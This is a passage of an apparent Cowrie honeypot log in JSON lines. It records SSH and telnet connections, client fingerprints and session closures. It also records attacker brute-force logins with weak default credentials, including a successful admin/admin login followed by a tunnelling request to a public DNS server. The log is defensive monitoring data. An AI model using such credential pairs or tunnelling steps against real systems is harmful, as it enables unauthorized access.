],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:20.234046Z","src_ip":"189.194.140.170","session":"c1ba85438b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":37636,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd63483f9c40","protocol":"telnet","message":"New connection: 142.93.2.99:37636 (159.203.135.109:23) [session: dd63483f9c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:20.418000Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.Aa","message":"login attempt [root/123456.Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:20.650495Z","src_ip":"189.194.140.170","session":"c1ba85438b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:21.753672Z","src_ip":"189.194.140.170","session":"c1ba85438b87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.61717963218689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:22.211600Z","src_ip":"142.93.2.99","session":"fa3990d08460","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47604,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c6002985019","protocol":"ssh","message":"New connection: 2.57.122.238:47604 (159.203.135.109:22) [session: 3c6002985019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:22.850164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:22.857536Z","src_ip":"2.57.122.238","session":"3c6002985019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:22.957315Z","src_ip":"2.57.122.238","session":"3c6002985019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:23.256650Z","src_ip":"2.57.122.238","session":"3c6002985019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39962,"dst_ip":"159.203.135.109","dst_port":23,"session":"c184cbb9168e","protocol":"telnet","message":"New connection: 142.93.2.99:39962 (159.203.135.109:23) [session: c184cbb9168e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:23.329568Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40214,"dst_ip":"159.203.135.109","dst_port":23,"session":"83b4848f5aad","protocol":"telnet","message":"New connection: 142.93.2.99:40214 (159.203.135.109:23) [session: 83b4848f5aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:23.645557Z"}
{"eventid":"cowrie.session.closed","duration":31.001775979995728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:24.139468Z","src_ip":"142.93.2.99","session":"6325ca0b3da9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:24.359778Z","src_ip":"2.57.122.238","session":"3c6002985019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40822,"dst_ip":"159.203.135.109","dst_port":23,"session":"e410bfcebe16","protocol":"telnet","message":"New connection: 142.93.2.99:40822 (159.203.135.109:23) [session: e410bfcebe16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:24.373006Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41420,"dst_ip":"159.203.135.109","dst_port":23,"session":"24368f063911","protocol":"telnet","message":"New connection: 142.93.2.99:41420 (159.203.135.109:23) [session: 24368f063911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:25.176992Z"}
{"eventid":"cowrie.session.closed","duration":31.26671290397644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:27.101259Z","src_ip":"104.245.105.2","session":"df3f3f4c85cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43030,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a4bb8e1b8cc","protocol":"telnet","message":"New connection: 142.93.2.99:43030 (159.203.135.109:23) [session: 8a4bb8e1b8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:27.158368Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43606,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fdffb211cd7","protocol":"telnet","message":"New connection: 142.93.2.99:43606 (159.203.135.109:23) [session: 0fdffb211cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:27.832865Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46596,"dst_ip":"159.203.135.109","dst_port":23,"session":"f284e105da6e","protocol":"telnet","message":"New connection: 142.93.2.99:46596 (159.203.135.109:23) [session: f284e105da6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:31.600937Z"}
{"eventid":"cowrie.session.closed","duration":33.39249300956726,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:34.061548Z","src_ip":"142.93.2.99","session":"95fb63c01c96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36368,"dst_ip":"10.17.0.5","dst_port":22,"session":"77892462ad23","protocol":"ssh","message":"New connection: 87.251.64.176:36368 (10.17.0.5:22) [session: 77892462ad23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:35.092028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:35.097223Z","src_ip":"87.251.64.176","session":"77892462ad23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.851523637771606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:35.133501Z","src_ip":"142.93.2.99","session":"d35214d4c6e5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:35.193692Z","src_ip":"87.251.64.176","session":"77892462ad23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.99479293823242,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:35.288280Z","src_ip":"142.93.2.99","session":"5cbfc16b9c6a","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:35.490632Z","src_ip":"87.251.64.176","session":"77892462ad23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:35.591186Z","session":"77892462ad23","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:35.689253Z","src_ip":"87.251.64.176","session":"77892462ad23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:35.788989Z","src_ip":"87.251.64.176","session":"77892462ad23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50116,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8e419228734","protocol":"telnet","message":"New connection: 142.93.2.99:50116 (159.203.135.109:23) [session: d8e419228734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:36.377836Z"}
{"eventid":"cowrie.session.closed","duration":32.901901960372925,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:37.391689Z","src_ip":"142.93.2.99","session":"1a5737eabf77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50356,"dst_ip":"159.203.135.109","dst_port":23,"session":"d15797feec2b","protocol":"telnet","message":"New connection: 142.93.2.99:50356 (159.203.135.109:23) [session: d15797feec2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:37.727953Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43920,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbd24a9b27f1","protocol":"telnet","message":"New connection: 104.245.105.2:43920 (10.17.0.5:23) [session: bbd24a9b27f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:38.395625Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":47952,"dst_ip":"159.203.135.109","dst_port":22,"session":"d85ccef89250","protocol":"ssh","message":"New connection: 202.165.22.58:47952 (159.203.135.109:22) [session: d85ccef89250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:39.713236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:39.727951Z","src_ip":"202.165.22.58","session":"d85ccef89250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:40.015319Z","src_ip":"202.165.22.58","session":"d85ccef89250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53590,"dst_ip":"159.203.135.109","dst_port":23,"session":"56eba93b39fc","protocol":"telnet","message":"New connection: 142.93.2.99:53590 (159.203.135.109:23) [session: 56eba93b39fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:41.155252Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:41.180794Z","src_ip":"202.165.22.58","session":"d85ccef89250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.13300108909607,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:41.653991Z","src_ip":"142.93.2.99","session":"9f56860c4631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3431077003479,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:41.765926Z","src_ip":"142.93.2.99","session":"b49d617bba96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:42.468525Z","src_ip":"202.165.22.58","session":"d85ccef89250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.10665440559387,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:42.688118Z","src_ip":"142.93.2.99","session":"77891f4b664e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.5167717933654785,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:42.912262Z","src_ip":"104.245.105.2","session":"bbd24a9b27f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.3826949596405,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:46.100533Z","src_ip":"142.93.2.99","session":"0b3749b440f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57796,"dst_ip":"159.203.135.109","dst_port":23,"session":"a15b7238d3d4","protocol":"telnet","message":"New connection: 142.93.2.99:57796 (159.203.135.109:23) [session: a15b7238d3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:46.703000Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58108,"dst_ip":"159.203.135.109","dst_port":23,"session":"fefe51b707a9","protocol":"telnet","message":"New connection: 142.93.2.99:58108 (159.203.135.109:23) [session: fefe51b707a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:47.207874Z"}
{"eventid":"cowrie.session.closed","duration":31.33571171760559,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:48.933738Z","src_ip":"142.93.2.99","session":"8812182b0c09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.6214485168457,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:49.112985Z","src_ip":"142.93.2.99","session":"ca8a17f99697","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60096,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee2f80c97f10","protocol":"telnet","message":"New connection: 142.93.2.99:60096 (159.203.135.109:23) [session: ee2f80c97f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:49.841069Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59718,"dst_ip":"159.203.135.109","dst_port":23,"session":"1649bad59da0","protocol":"telnet","message":"New connection: 142.93.2.99:59718 (159.203.135.109:23) [session: 1649bad59da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:50.345741Z"}
{"eventid":"cowrie.session.closed","duration":34.041717767715454,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:50.752934Z","src_ip":"142.93.2.99","session":"d280419b3b8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.89217782020569,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:54.310075Z","src_ip":"142.93.2.99","session":"dd63483f9c40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.546010971069336,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:57.191451Z","src_ip":"142.93.2.99","session":"83b4848f5aad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.732059717178345,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:58.104941Z","src_ip":"142.93.2.99","session":"e410bfcebe16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.175575971603394,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:58.352448Z","src_ip":"142.93.2.99","session":"24368f063911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39498,"dst_ip":"159.203.135.109","dst_port":23,"session":"9637a6286a2a","protocol":"telnet","message":"New connection: 142.93.2.99:39498 (159.203.135.109:23) [session: 9637a6286a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:59.483033Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39714,"dst_ip":"159.203.135.109","dst_port":23,"session":"96710bceaeed","protocol":"telnet","message":"New connection: 142.93.2.99:39714 (159.203.135.109:23) [session: 96710bceaeed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:59.707991Z"}
{"eventid":"cowrie.session.closed","duration":36.61705279350281,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:03:59.946451Z","src_ip":"142.93.2.99","session":"c184cbb9168e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.999354124069214,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:00.157605Z","src_ip":"142.93.2.99","session":"8a4bb8e1b8cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.74863028526306,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:00.581386Z","src_ip":"142.93.2.99","session":"0fdffb211cd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41140,"dst_ip":"159.203.135.109","dst_port":23,"session":"686b09b932a1","protocol":"telnet","message":"New connection: 142.93.2.99:41140 (159.203.135.109:23) [session: 686b09b932a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:01.457835Z"}
{"eventid":"cowrie.session.closed","duration":33.61976861953735,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:05.220598Z","src_ip":"142.93.2.99","session":"f284e105da6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44900,"dst_ip":"159.203.135.109","dst_port":23,"session":"40863ffcee38","protocol":"telnet","message":"New connection: 142.93.2.99:44900 (159.203.135.109:23) [session: 40863ffcee38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:06.448014Z"}
{"eventid":"cowrie.session.closed","duration":32.67955303192139,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:10.407380Z","src_ip":"142.93.2.99","session":"d15797feec2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48440,"dst_ip":"159.203.135.109","dst_port":23,"session":"53aa7e261d9f","protocol":"telnet","message":"New connection: 142.93.2.99:48440 (159.203.135.109:23) [session: 53aa7e261d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:11.628059Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50376,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a66f6944ff7","protocol":"telnet","message":"New connection: 142.93.2.99:50376 (159.203.135.109:23) [session: 3a66f6944ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:04:12.756923Z"}
